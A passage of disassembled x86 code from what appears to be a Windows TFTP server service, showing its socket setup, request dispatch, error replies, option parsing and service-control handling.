RtlCreateTimerQueue cmp eax, esi jnz loc_10019EB mov eax, 0EA60h push esi push eax push eax push esi push offset sub_10029BA push offset dword_1006048 push dword_10060A0 call ds:RtlCreateTimer ; RtlCreateTimer push esi ; lpName push esi ; bInitialState push esi ; bManualReset push esi ; lpEventAttributes mov edi, eax call ds:CreateEventA ; CreateEventA cmp eax, esi mov dword_1005DF8, eax jnz short loc_10019A2 mov eax, edi jmp short loc_10019EB ; --------------------------------------------------------------------------- loc_10019A2: ; CODE XREF: sub_10018DB+C1j push esi push 0FFFFFFFFh push esi push offset sub_1002219 push eax push offset dword_1005DFC call ds:RtlRegisterWait ; RtlRegisterWait cmp eax, esi jnz short loc_10019EB mov ecx, offset overlapped xor eax, eax mov edi, ecx push ecx ; overlapped stosd stosd stosd stosd stosd mov eax, dword_1005DF8 push offset Handle ; Handle mov overlapped.hEvent, eax call NotifyAddrChange ; NotifyAddrChange cmp eax, esi jz short loc_10019E9 cmp eax, 3E5h jnz short loc_10019EB loc_10019E9: ; CODE XREF: sub_10018DB+105j xor eax, eax loc_10019EB: ; CODE XREF: sub_10018DB+89j ; sub_10018DB+C5j ... pop edi pop esi pop ebx leave retn sub_10018DB endp ; =============== S U B R O U T I N E ======================================= sub_10019F0 proc near ; CODE XREF: sub_1001665+203p mov eax, offset lpMem push offset stru_1006060 ; lpCriticalSection mov dword_100607C, eax mov lpMem, eax call ds:InitializeCriticalSection ; InitializeCriticalSection push 0 ; dwMaximumSize push 0EFD1Ch ; dwInitialSize push 0 ; flOptions call ds:HeapCreate ; HeapCreate mov hHeap, eax retn sub_10019F0 endp ; =============== S U B R O U T I N E ======================================= sub_1001A1F proc near ; CODE XREF: sub_10029BA+79p push ebx push esi mov ebx, offset stru_1006060 push edi push ebx ; lpCriticalSection xor esi, esi call ds:EnterCriticalSection mov eax, dword_1005DF0 sub eax, dword_1005DF4 cmp eax, 0Ah jbe short loc_1001A46 shr eax, 1 mov esi, eax jmp short loc_1001A4E ; --------------------------------------------------------------------------- loc_1001A46: ; CODE XREF: sub_1001A1F+1Fj cmp eax, 3 jbe short loc_1001A4E push 2 pop esi loc_1001A4E: ; CODE XREF: sub_1001A1F+25j ; sub_1001A1F+2Aj test esi, esi jbe short loc_1001A86 mov edi, esi loc_1001A54: ; CODE XREF: sub_1001A1F+65j mov eax, lpMem mov esi, eax mov ecx, [eax] mov eax, [eax+4] mov [eax], ecx mov [ecx+4], eax push dword ptr [esi+30h] ; hObject call ds:CloseHandle ; CloseHandle push esi ; lpMem push 0 ; dwFlags push hHeap ; hHeap call ds:HeapFree dec dword_1005DF0 dec edi jnz short loc_1001A54 loc_1001A86: ; CODE XREF: sub_1001A1F+31j push ebx ; lpCriticalSection call ds:LeaveCriticalSection pop edi pop esi pop ebx retn sub_1001A1F endp ; =============== S U B R O U T I N E ======================================= ; int __stdcall sub_1001A91(SOCKET s, int) sub_1001A91 proc near ; CODE XREF: .text:01001DCCp ; .text:01001DE1p dwFlags = dword ptr -10004h argp = dword ptr -10000h Fromlen = dword ptr -0FFFCh var_FFF8 = dword ptr -0FFF8h Buffers = _WSABUF ptr -0FFF4h Handles = dword ptr -0FFECh var_FFE8 = dword ptr -0FFE8h Overlapped = _OVERLAPPED ptr -0FFE4h to = sockaddr ptr -0FFD0h var_FFC0 = dword ptr -0FFC0h s = dword ptr 4 arg_4 = dword ptr 8 mov eax, 10004h call _chkstk ; _chkstk push ebx push ebp xor ebp, ebp push esi push edi mov [esp+10014h+dwFlags], ebp mov ebx, offset stru_1006060 loc_1001AAA: ; CODE XREF: sub_1001A91+291j lea eax, [esp+10014h+argp] push eax ; argp push 4004667Fh ; cmd push [esp+1001Ch+s] ; s call ds:ioctlsocket ; ioctlsocket cmp eax, ebp jnz loc_1001D27 cmp [esp+10014h+argp], ebp jz loc_1001D65 xor eax, eax lea edi, [esp+10014h+Overlapped] stosd stosd stosd stosd push ebx ; lpCriticalSection stosd call ds:EnterCriticalSection mov eax, lpMem inc dword_1005DF4 cmp eax, offset lpMem jz short loc_1001B11 mov ecx, [eax] mov esi, eax mov eax, [eax+4] mov [eax], ecx mov [ecx+4], eax push dword ptr [esi+30h] ; hEvent call ds:ResetEvent ; ResetEvent mov eax, [esi+30h] jmp short loc_1001B41 ; --------------------------------------------------------------------------- loc_1001B11: ; CODE XREF: sub_1001A91+64j inc dword_1005DF0 push 2FF6Ch ; dwBytes push 8 ; dwFlags push hHeap ; hHeap call ds:HeapAlloc mov esi, eax cmp esi, ebp jz loc_1001D5E push ebp ; lpName push ebp ; bInitialState push ebp ; bManualReset push ebp ; lpEventAttributes call ds:CreateEventA ; CreateEventA mov [esi+30h], eax loc_1001B41: ; CODE XREF: sub_1001A91+7Ej push ebx ; lpCriticalSection mov [esp+10018h+Overlapped.hEvent], eax call ds:LeaveCriticalSection lea ebp, [esi+34h] mov ecx, 3FEFh xor eax, eax mov edi, ebp rep stosd stosb mov eax, [esp+10014h+arg_4] mov [esp+10014h+Buffers.buf], ebp mov [esp+10014h+Buffers.len], 0FFBDh mov [esp+10014h+Fromlen], 10h mov [esi+1Ch], eax lea eax, [esp+10014h+Overlapped] push 0 ; lpCompletionRoutine push eax ; lpOverlapped lea eax, [esp+1001Ch+Fromlen] lea edi, [esi+2Ch] push eax ; lpFromlen lea eax, [esi+0Ch] push eax ; lpFrom lea eax, [esp+10024h+dwFlags] push eax ; lpFlags push edi ; lpNumberOfBytesRecvd lea eax, [esp+1002Ch+Buffers] push 1 ; dwBufferCount push eax ; lpBuffers push [esp+10034h+s] ; s call ds:WSARecvFrom ; WSARecvFrom mov [esp+10014h+var_FFF8], eax mov ax, [esi+0Eh] push eax ; netshort call ds:ntohs ; ntohs cmp [esp+10014h+var_FFF8], 0 jz short loc_1001C34 call ds:WSAGetLastError ; WSAGetLastError cmp eax, 3E5h jnz loc_1001D2F mov eax, hHandle push 0FFFFFFFFh ; dwMilliseconds mov [esp+10018h+Handles], eax mov eax, [esp+10018h+Overlapped.hEvent] mov [esp+10018h+var_FFE8], eax lea eax, [esp+10018h+Handles] push 0 ; bWaitAll push eax ; lpHandles push 2 ; nCount call ds:WaitForMultipleObjects ; WaitForMultipleObjects cmp eax, 0FFFFFFFFh jz loc_1001D2F cmp eax, 102h jz loc_1001D2F test eax, eax jz loc_1001D2F lea eax, [esp+10014h+dwFlags] push eax ; lpdwFlags push 0 ; fWait lea eax, [esp+1001Ch+Overlapped] push edi ; lpcbTransfer push eax ; lpOverlapped push [esp+10024h+s] ; s call ds:WSAGetOverlappedResult ; WSAGetOverlappedResult test eax, eax jnz short loc_1001C34 call ds:WSAGetLastError ; WSAGetLastError jmp loc_1001CEA ; --------------------------------------------------------------------------- loc_1001C34: ; CODE XREF: sub_1001A91+129j ; sub_1001A91+196j push 0 ; dwMilliseconds push hHandle ; hHandle call ds:WaitForSingleObject ; WaitForSingleObject test eax, eax jz loc_1001D2F cmp dword ptr [edi], 2 jl loc_1001CEA xor edi, edi cmp [esp+10014h+arg_4], edi jz short loc_1001CDA mov ax, [ebp+0] push eax ; hostshort call ds:htons ; htons movzx ecx, ax test ecx, ecx jle short loc_1001CB8 cmp ecx, 2 jle short loc_1001C81 cmp ecx, 4 jz short loc_1001CB8 cmp ecx, 5 jnz short loc_1001CB8 jmp short loc_1001CEA ; --------------------------------------------------------------------------- loc_1001C81: ; CODE XREF: sub_1001A91+1E2j cmp ax, 1 jnz short loc_1001C94 inc dword ptr Time+4 mov edi, offset sub_1002F31 jmp short loc_1001CA5 ; --------------------------------------------------------------------------- loc_1001C94: ; CODE XREF: sub_1001A91+1F4j cmp ax, 2 jnz short loc_1001CA5 inc dword_10060C8 mov edi, offset sub_100333A loc_1001CA5: ; CODE XREF: sub_1001A91+201j ; sub_1001A91+207j mov eax, [esp+10014h+s] test edi, edi mov [esi+8], eax jz short loc_1001CEA push esi call edi ; sub_1002F31 jmp short loc_1001CEA ; --------------------------------------------------------------------------- loc_1001CB8: ; CODE XREF: sub_1001A91+1DDj ; sub_1001A91+1E7j ... push 0 ; int push 4 ; hostshort push [esp+1001Ch+s] ; s inc dword_10060CC lea eax, [esp+10020h+var_FFC0] push eax ; int lea eax, [esp+10024h+to] push eax ; to call sub_100230A jmp short loc_1001CEA ; --------------------------------------------------------------------------- loc_1001CDA: ; CODE XREF: sub_1001A91+1CBj mov eax, [esp+10014h+s] push esi mov [esi+8], eax call sub_1002EC8 loc_1001CEA: ; CODE XREF: sub_1001A91+19Ej ; sub_1001A91+1BCj ... push ebx ; lpCriticalSection call ds:EnterCriticalSection mov eax, lpMem mov dword ptr [esi+4], offset lpMem mov [esi], eax push offset Addend ; lpAddend mov [eax+4], esi mov lpMem, esi call ds:InterlockedIncrement ; InterlockedIncrement dec dword_1005DF4 push ebx ; lpCriticalSection call ds:LeaveCriticalSection xor ebp, ebp jmp loc_1001AAA ; --------------------------------------------------------------------------- loc_1001D27: ; CODE XREF: sub_1001A91+32j call ds:WSAGetLastError ; WSAGetLastError jmp short loc_1001D65 ; --------------------------------------------------------------------------- loc_1001D2F: ; CODE XREF: sub_1001A91+136j ; sub_1001A91+161j ... push ebx ; lpCriticalSection call ds:EnterCriticalSection mov eax, lpMem mov dword ptr [esi+4], offset lpMem mov [esi], eax push offset Addend ; lpAddend mov [eax+4], esi mov lpMem, esi call ds:InterlockedIncrement ; InterlockedIncrement dec dword_1005DF4 loc_1001D5E: ; CODE XREF: sub_1001A91+9Dj push ebx ; lpCriticalSection call ds:LeaveCriticalSection loc_1001D65: ; CODE XREF: sub_1001A91+3Cj ; sub_1001A91+29Cj pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 10004h retn 8 sub_1001A91 endp ; --------------------------------------------------------------------------- loc_1001D74: ; DATA XREF: sub_100188E+2Do push ecx push ebx push ebp push esi mov esi, offset stru_1006020 push edi mov edi, ds:TryEnterCriticalSection push esi xor ebp, ebp xor ebx, ebx call edi ; TryEnterCriticalSection loc_1001D8B: ; CODE XREF: .text:01001DA1j test eax, eax jnz short loc_1001DA7 push 0C8h call ds:Sleep ; Sleep push esi call edi ; TryEnterCriticalSection inc ebx cmp ebx, 7Dh jb short loc_1001D8B test eax, eax jz short loc_1001DD1 loc_1001DA7: ; CODE XREF: .text:01001D8Dj lea eax, [esp+10h] push eax push dword ptr [esp+1Ch] call sub_10021E5 test eax, eax jnz short loc_1001DC0 mov eax, [esp+10h] mov ebp, [eax+0Ch] loc_1001DC0: ; CODE XREF: .text:01001DB7j push esi call ds:LeaveCriticalSection push ebp push dword ptr [esp+1Ch] call sub_1001A91 loc_1001DD1: ; CODE XREF: .text:01001DA5j pop edi pop esi pop ebp xor eax, eax pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_1001DDB: ; DATA XREF: sub_100188E:loc_10018C2o push 0 push dword ptr [esp+8] call sub_1001A91 xor eax, eax retn 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; void __stdcall HandlerProc(DWORD) HandlerProc proc near ; DATA XREF: sub_1001665+6o Time = qword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx lea eax, [ebp+Time] push eax ; Time call ds:time ; time inc ServiceStatus.dwCheckPoint pop ecx lea eax, [ebp+Time] push eax ; Time call ds:ctime ; ctime mov eax, [ebp+arg_0] pop ecx dec eax jz short loc_1001E68 dec eax jz short loc_1001E35 dec eax jz short loc_1001E1D dec eax dec eax jz short loc_1001E68 jmp short loc_1001E4B ; --------------------------------------------------------------------------- loc_1001E1D: ; CODE XREF: HandlerProc+2Aj push hThread ; hThread call ds:ResumeThread ; ResumeThread mov ServiceStatus.dwCurrentState, 4 jmp short loc_1001E4B ; --------------------------------------------------------------------------- loc_1001E35: ; CODE XREF: HandlerProc+27j push hThread ; hThread call ds:SuspendThread ; SuspendThread mov ServiceStatus.dwCurrentState, 7 loc_1001E4B: ; CODE XREF: HandlerProc+30j ; HandlerProc+48j push offset ServiceStatus ; lpServiceStatus push hServiceStatus ; hServiceStatus call ds:SetServiceStatus ; SetServiceStatus test eax, eax jnz short locret_1001E6F call ds:GetLastError jmp short locret_1001E6F ; --------------------------------------------------------------------------- loc_1001E68: ; CODE XREF: HandlerProc+24j ; HandlerProc+2Ej push 0 call sub_1001E73 locret_1001E6F: ; CODE XREF: HandlerProc+73j ; HandlerProc+7Bj leave retn 4 HandlerProc endp ; =============== S U B R O U T I N E ======================================= sub_1001E73 proc near ; CODE XREF: sub_1001665+B9p ; HandlerProc+7Fp arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, ds:SetServiceStatus push edi mov edi, offset ServiceStatus push edi ; lpServiceStatus mov ServiceStatus.dwCurrentState, 3 push hServiceStatus ; hServiceStatus call esi ; SetServiceStatus mov ebp, ds:GetLastError xor ebx, ebx cmp eax, ebx jnz short loc_1001EA3 call ebp ; GetLastError loc_1001EA3: ; CODE XREF: sub_1001E73+2Cj push hHandle ; hEvent call ds:SetEvent ; SetEvent mov ServiceStatus.dwCurrentState, 1 mov ServiceStatus.dwCheckPoint, ebx mov eax, [esp+10h+arg_0] mov ServiceStatus.dwWaitHint, ebx cmp eax, ebx jnz short loc_1001EDB mov ServiceStatus.dwWin32ExitCode, ebx mov ServiceStatus.dwServiceSpecificExitCode, ebx jmp short loc_1001EFD ; --------------------------------------------------------------------------- loc_1001EDB: ; CODE XREF: sub_1001E73+58j cmp eax, 834h jb short loc_1001EF3 cmp eax, 16A7h mov ServiceStatus.dwWin32ExitCode, 42Ah jbe short loc_1001EF8 loc_1001EF3: ; CODE XREF: sub_1001E73+6Dj mov ServiceStatus.dwWin32ExitCode, eax loc_1001EF8: ; CODE XREF: sub_1001E73+7Ej mov ServiceStatus.dwServiceSpecificExitCode, eax loc_1001EFD: ; CODE XREF: sub_1001E73+66j push edi ; lpServiceStatus push hServiceStatus ; hServiceStatus call esi ; SetServiceStatus cmp eax, ebx jnz short loc_1001F0C call ebp ; GetLastError loc_1001F0C: ; CODE XREF: sub_1001E73+95j mov eax, hObject mov esi, ds:CloseHandle cmp eax, ebx jz short loc_1001F24 push eax ; hObject call esi ; CloseHandle mov hObject, ebx loc_1001F24: ; CODE XREF: sub_1001E73+A6j mov eax, hHandle cmp eax, ebx jz short loc_1001F36 push eax ; hObject call esi ; CloseHandle mov hHandle, ebx loc_1001F36: ; CODE XREF: sub_1001E73+B8j mov eax, File cmp eax, ebx jz short loc_1001F4D push eax ; File call ds:fclose ; fclose pop ecx mov File, ebx loc_1001F4D: ; CODE XREF: sub_1001E73+CAj pop edi pop esi pop ebp pop ebx retn 4 sub_1001E73 endp ; =============== S U B R O U T I N E ======================================= ; int __stdcall sub_1001F54(void *Memory) sub_1001F54 proc near ; CODE XREF: sub_1002182+1Cp ; sub_1002219+B7p Memory = dword ptr 4 push esi mov esi, [esp+4+Memory] push 0FFFFFFFFh push dword ptr [esi+10h] call ds:RtlDeregisterWaitEx ; RtlDeregisterWaitEx push dword ptr [esi+8] ; s call ds:closesocket ; closesocket push dword ptr [esi+14h] ; hEvent call ds:WSACloseEvent ; WSACloseEvent mov eax, [esi] mov ecx, [esi+4] cmp eax, ecx jnz short loc_1001F90 mov eax, Memory mov ecx, [eax] mov eax, [eax+4] mov [eax], ecx mov [ecx+4], eax jmp short loc_1001F9A ; --------------------------------------------------------------------------- loc_1001F90: ; CODE XREF: sub_1001F54+29j mov [ecx], eax mov eax, [esi] mov ecx, [esi+4] mov [eax+4], ecx loc_1001F9A: ; CODE XREF: sub_1001F54+3Aj push esi ; Memory call ds:free ; free pop ecx pop esi retn 4 sub_1001F54 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_1001FA6 proc near ; CODE XREF: sub_10018DB+3Dp ; sub_1002219+1Dp var_8 = dword ptr -8 Size = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx mov ebx, [ebp+arg_0] push esi push edi xor edi, edi lea eax, [ebp+Size] push edi ; bOrder push eax ; pdwSize push edi ; pIpAddrTable mov [ebp+Size], edi mov [ebp+var_8], 0C0000017h mov [ebx], edi call GetIpAddrTable ; GetIpAddrTable cmp eax, edi jz short loc_1001FD3 cmp eax, 7Ah jnz short loc_100201A loc_1001FD3: ; CODE XREF: sub_1001FA6+26j push [ebp+Size] ; Size call ds:malloc ; malloc mov esi, eax pop ecx cmp esi, edi jz short loc_100201A loc_1001FE3: ; CODE XREF: sub_1001FA6+63j lea eax, [ebp+Size] push edi ; bOrder push eax ; pdwSize push esi ; pIpAddrTable call GetIpAddrTable ; GetIpAddrTable cmp eax, edi jz short loc_1002015 cmp eax, 7Ah jnz short loc_100201A push [ebp+Size] ; NewSize push esi ; Memory call ds:realloc ; realloc pop ecx cmp eax, edi pop ecx jz short loc_100200B mov esi, eax jmp short loc_1001FE3 ; --------------------------------------------------------------------------- loc_100200B: ; CODE XREF: sub_1001FA6+5Fj push esi ; Memory call ds:free ; free pop ecx jmp short loc_100201A ; --------------------------------------------------------------------------- loc_1002015: ; CODE XREF: sub_1001FA6+4Aj mov [ebp+var_8], edi mov [ebx], esi loc_100201A: ; CODE XREF: sub_1001FA6+2Bj ; sub_1001FA6+3Bj ... mov eax, [ebp+var_8] pop edi pop esi pop ebx leave retn 4 sub_1001FA6 endp ; =============== S U B R O U T I N E ======================================= ; int __stdcall sub_1002024(struct in_addr in, int) sub_1002024 proc near ; CODE XREF: sub_100205A+B7p in = in_addr ptr 4 arg_4 = dword ptr 8 push dword ptr [esp+in.S_un] ; in call ds:inet_ntoa ; inet_ntoa test eax, eax jz short locret_1002057 push edi mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx push esi mov eax, ecx mov esi, edi mov edi, [esp+8+arg_4] shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb pop esi pop edi locret_1002057: ; CODE XREF: sub_1002024+Cj retn 8 sub_1002024 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_100205A(struct in_addr in) sub_100205A proc near ; CODE XREF: sub_10018DB+64p ; sub_1002219+65p ... var_28 = dword ptr -28h name = sockaddr ptr -14h var_4 = dword ptr -4 in = in_addr ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi xor esi, esi push edi mov [ebp+var_4], esi loc_1002068: ; CODE XREF: sub_100205A+5Dj push 1 ; dwFlags push esi ; g push esi ; lpProtocolInfo push esi ; protocol push 2 ; type push 2 ; af call ds:WSASocketA ; WSASocketA mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_100209D xor eax, eax lea edi, [ebp+name] stosd stosd stosd push offset proto ; "udp" push offset name ; "tftp" stosd call ds:getservbyname ; getservbyname cmp eax, esi jnz short loc_10020B9 jmp short loc_10020B1 ; --------------------------------------------------------------------------- loc_100209D: ; CODE XREF: sub_100205A+22j call ds:WSAGetLastError ; WSAGetLastError push 2EEh ; dwMilliseconds call ds:Sleep ; Sleep inc [ebp+var_4] loc_10020B1: ; CODE XREF: sub_100205A+41j cmp [ebp+var_4], 0Ah jge short loc_10020E6 jmp short loc_1002068 ; --------------------------------------------------------------------------- loc_10020B9: ; CODE XREF: sub_100205A+3Fj mov [ebp+name.sa_family], 2 mov ax, [eax+8] mov word ptr [ebp+name.sa_data], ax mov eax, dword ptr [ebp+in.S_un] mov dword ptr [ebp+name.sa_data+2], eax lea eax, [ebp+name] push 10h ; namelen push eax ; name push ebx ; s call ds:bind ; bind test eax, eax jz short loc_10020E6 call ds:GetLastError jmp short loc_100215E ; --------------------------------------------------------------------------- loc_10020E6: ; CODE XREF: sub_100205A+5Bj ; sub_100205A+82j cmp ebx, 0FFFFFFFFh jz short loc_100215E push 20h ; Size call ds:malloc ; malloc mov esi, eax pop ecx test esi, esi jz short loc_100213D push 8 xor eax, eax pop ecx mov edi, esi rep stosd mov eax, dword ptr [ebp+in.S_un] lea ecx, [ebp+var_28] push ecx ; int push eax ; in mov [esi+8], ebx mov [esi+0Ch], eax call sub_1002024 xor eax, eax push eax ; lpName push eax ; bInitialState push eax ; bManualReset push eax ; lpEventAttributes call ds:CreateEventA ; CreateEventA mov edi, eax test edi, edi jz short loc_1002140 push 1 ; char push edi ; hEventObject push ebx ; s mov [esi+14h], edi call sub_100188E test eax, eax mov [esi+10h], eax jnz short loc_1002162 jmp short loc_1002140 ; --------------------------------------------------------------------------- loc_100213D: ; CODE XREF: sub_100205A+9Ej mov edi, dword ptr [ebp+in.S_un] loc_1002140: ; CODE XREF: sub_100205A+CCj ; sub_100205A+E1j push ebx ; s call ds:closesocket ; closesocket test edi, edi jz short loc_1002152 push edi ; hObject call ds:CloseHandle ; CloseHandle loc_1002152: ; CODE XREF: sub_100205A+EFj test esi, esi jz short loc_100215E push esi ; Memory call ds:free ; free pop ecx loc_100215E: ; CODE XREF: sub_100205A+8Aj ; sub_100205A+8Fj ... xor eax, eax jmp short loc_100217B ; --------------------------------------------------------------------------- loc_1002162: ; CODE XREF: sub_100205A+DFj mov eax, Memory mov dword ptr [esi+4], offset Memory mov [esi], eax mov [eax+4], esi mov Memory, esi mov eax, esi loc_100217B: ; CODE XREF: sub_100205A+106j pop edi pop esi pop ebx leave retn 4 sub_100205A endp ; =============== S U B R O U T I N E ======================================= sub_1002182 proc near ; CODE XREF: sub_1002219:loc_1002298p mov ecx, Memory push esi mov esi, offset Memory xor eax, eax cmp ecx, esi jz short loc_10021B3 push edi loc_1002195: ; CODE XREF: sub_1002182+2Ej cmp dword ptr [ecx+18h], 0 mov edi, [ecx] jnz short loc_10021A8 push ecx ; Memory call sub_1001F54 push 1 pop eax jmp short loc_10021AC ; --------------------------------------------------------------------------- loc_10021A8: ; CODE XREF: sub_1002182+19j and dword ptr [ecx+18h], 0 loc_10021AC: ; CODE XREF: sub_1002182+24j cmp edi, esi mov ecx, edi jnz short loc_1002195 pop edi loc_10021B3: ; CODE XREF: sub_1002182+10j pop esi retn sub_1002182 endp ; =============== S U B R O U T I N E ======================================= sub_10021B5 proc near ; CODE XREF: sub_1002219+43p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] push esi mov ecx, offset Memory and dword ptr [edx], 0 mov eax, Memory loc_10021C7: ; CODE XREF: sub_10021B5+21j cmp eax, ecx jz short loc_10021DF mov esi, [eax+0Ch] cmp esi, [esp+4+arg_0] jz short loc_10021D8 mov eax, [eax] jmp short loc_10021C7 ; --------------------------------------------------------------------------- loc_10021D8: ; CODE XREF: sub_10021B5+1Dj push 1 mov [edx], eax pop eax jmp short loc_10021E1 ; --------------------------------------------------------------------------- loc_10021DF: ; CODE XREF: sub_10021B5+14j xor eax, eax loc_10021E1: ; CODE XREF: sub_10021B5+28j pop esi retn 8 sub_10021B5 endp ; =============== S U B R O U T I N E ======================================= sub_10021E5 proc near ; CODE XREF: .text:01001DB0p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] push esi mov ecx, offset Memory and dword ptr [edx], 0 mov eax, Memory loc_10021F7: ; CODE XREF: sub_10021E5+21j cmp eax, ecx jz short loc_100220A mov esi, [eax+8] cmp esi, [esp+4+arg_0] jz short loc_1002208 mov eax, [eax] jmp short loc_10021F7 ; --------------------------------------------------------------------------- loc_1002208: ; CODE XREF: sub_10021E5+1Dj mov [edx], eax loc_100220A: ; CODE XREF: sub_10021E5+14j mov eax, [edx] pop esi neg eax sbb eax, eax and al, 0A9h add eax, 57h retn 8 sub_10021E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_1002219 proc near ; DATA XREF: sub_10018DB+CBo var_C = dword ptr -0Ch var_8 = dword ptr -8 Memory = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi xor esi, esi push offset stru_1006020 ; lpCriticalSection mov [ebp+var_C], esi call ds:EnterCriticalSection lea eax, [ebp+Memory] push eax call sub_1001FA6 test eax, eax jnz short loc_10022A9 mov eax, [ebp+Memory] xor ebx, ebx cmp [eax], esi jbe short loc_1002298 loc_1002248: ; CODE XREF: sub_1002219+7Dj mov eax, [eax+esi+4] test eax, eax jz short loc_100228D cmp eax, 100007Fh jz short loc_100228D lea ecx, [ebp+var_8] push ecx push eax call sub_10021B5 test eax, eax jz short loc_1002271 mov eax, [ebp+var_8] mov dword ptr [eax+18h], 1 jmp short loc_100228D ; --------------------------------------------------------------------------- loc_1002271: ; CODE XREF: sub_1002219+4Aj mov eax, [ebp+Memory] push 1 pop edi push dword ptr [eax+esi+4] ; in mov [ebp+var_C], edi call sub_100205A test eax, eax mov [ebp+var_8], eax jz short loc_100228D mov [eax+18h], edi loc_100228D: ; CODE XREF: sub_1002219+35j ; sub_1002219+3Cj ... mov eax, [ebp+Memory] inc ebx add esi, 18h cmp ebx, [eax] jb short loc_1002248 loc_1002298: ; CODE XREF: sub_1002219+2Dj call sub_1002182 push [ebp+Memory] ; Memory mov esi, eax call ds:free ; free pop ecx loc_10022A9: ; CODE XREF: sub_1002219+24j cmp [ebp+var_C], 0 jnz short loc_10022E9 test esi, esi jnz short loc_10022E9 mov eax, Memory mov edi, offset Memory cmp eax, edi jz short loc_10022E9 loc_10022C1: ; CODE XREF: sub_1002219+CEj mov [ebp+var_8], eax mov ebx, [eax] test byte ptr [eax+1Ch], 1 jnz short loc_10022E3 mov esi, [eax+0Ch] push eax ; Memory call sub_1001F54 push esi ; in call sub_100205A test eax, eax jz short loc_10022E3 or dword ptr [eax+1Ch], 1 loc_10022E3: ; CODE XREF: sub_1002219+B1j ; sub_1002219+C4j cmp ebx, edi mov eax, ebx jnz short loc_10022C1 loc_10022E9: ; CODE XREF: sub_1002219+94j ; sub_1002219+98j ... push offset overlapped ; overlapped push offset Handle ; Handle call NotifyAddrChange ; NotifyAddrChange push offset stru_1006020 ; lpCriticalSection call ds:LeaveCriticalSection pop edi pop esi pop ebx leave retn 8 sub_1002219 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_100230A(struct sockaddr *to, int, SOCKET s, u_short hostshort, int) sub_100230A proc near ; CODE XREF: sub_1001A91+242p ; sub_10023D8+23Cp ... buf = byte ptr -0FFBCh var_FFBA = word ptr -0FFBAh var_FFB8 = byte ptr -0FFB8h to = dword ptr 8 s = dword ptr 10h hostshort = word ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov eax, 0FFBCh call _chkstk ; _chkstk push ebx push esi mov esi, ds:htons push edi push 5 ; hostshort call esi ; htons mov edi, dword ptr [ebp+hostshort] mov word ptr [ebp+buf], ax push edi ; hostshort call esi ; htons cmp [ebp+arg_10], 0 mov [ebp+var_FFBA], ax jz short loc_1002369 mov edi, [ebp+arg_10] or ecx, 0FFFFFFFFh xor eax, eax lea edx, [ebp+var_FFB8] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov edi, [ebp+arg_10] jmp short loc_10023A2 ; --------------------------------------------------------------------------- loc_1002369: ; CODE XREF: sub_100230A+32j cmp di, 9 jb short loc_1002371 xor edi, edi loc_1002371: ; CODE XREF: sub_100230A+63j movzx eax, di or ecx, 0FFFFFFFFh lea ebx, [ebp+var_FFB8] mov edx, off_1005CC0[eax*4] xor eax, eax mov edi, edx repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov edi, edx loc_10023A2: ; CODE XREF: sub_100230A+5Dj or ecx, 0FFFFFFFFh xor eax, eax repne scasb push 10h ; tolen push [ebp+to] ; to not ecx dec ecx push eax ; flags add ecx, 5 lea eax, [ebp+buf] push ecx ; len push eax ; buf push [ebp+s] ; s call ds:sendto ; sendto cmp eax, 0FFFFFFFFh jnz short loc_10023D1 call ds:WSAGetLastError ; WSAGetLastError loc_10023D1: ; CODE XREF: sub_100230A+BFj pop edi pop esi pop ebx leave retn 14h sub_100230A endp ; =============== S U B R O U T I N E ======================================= ; int __stdcall sub_10023D8(int, char *Str1, int, int, int, int) sub_10023D8 proc near ; CODE XREF: sub_1002F31+302p ; sub_100333A+26Dp arg_0 = dword ptr 4 Str1 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h arg_14 = dword ptr 18h mov eax, [esp+arg_0] push ebx push ebp push esi mov esi, [esp+0Ch+arg_10] mov dword ptr [eax+20h], 200h mov dword ptr [eax+28h], 0Ah mov eax, [esp+0Ch+arg_14] push edi mov ecx, 3FEFh and dword ptr [eax], 0 xor eax, eax mov edi, esi push 6 ; hostshort rep stosd call ds:htons ; htons mov [esi], ax lea ebx, [esi+2] mov ebp, [esp+10h+Str1] cmp byte ptr [ebp+0], 0 jz loc_10025E4 loc_1002420: ; CODE XREF: sub_10023D8+202j mov esi, ds:_stricmp push offset Str2 ; "blksize" push ebp ; Str1 call esi ; _stricmp pop ecx test eax, eax pop ecx jnz short loc_1002498 mov edi, ebp or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx push 8 mov eax, ecx mov esi, edi mov edi, ebx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb pop esi add ebp, esi add ebx, esi push ebp ; Str call ds:atoi ; atoi pop ecx cmp eax, esi mov ecx, [esp+10h+arg_0] mov [ecx+20h], eax jb loc_10025FD cmp eax, 0FFB8h ja loc_10025FD cmp eax, 5B0h jnz short loc_100248F mov dword ptr [ecx+20h], 200h sub ebx, esi jmp loc_10025C6 ; --------------------------------------------------------------------------- loc_100248F: ; CODE XREF: sub_10023D8+A7j push 0Ah push ebx push eax jmp loc_1002597 ; --------------------------------------------------------------------------- loc_1002498: ; CODE XREF: sub_10023D8+5Aj push offset aTimeout_0 ; "timeout" push 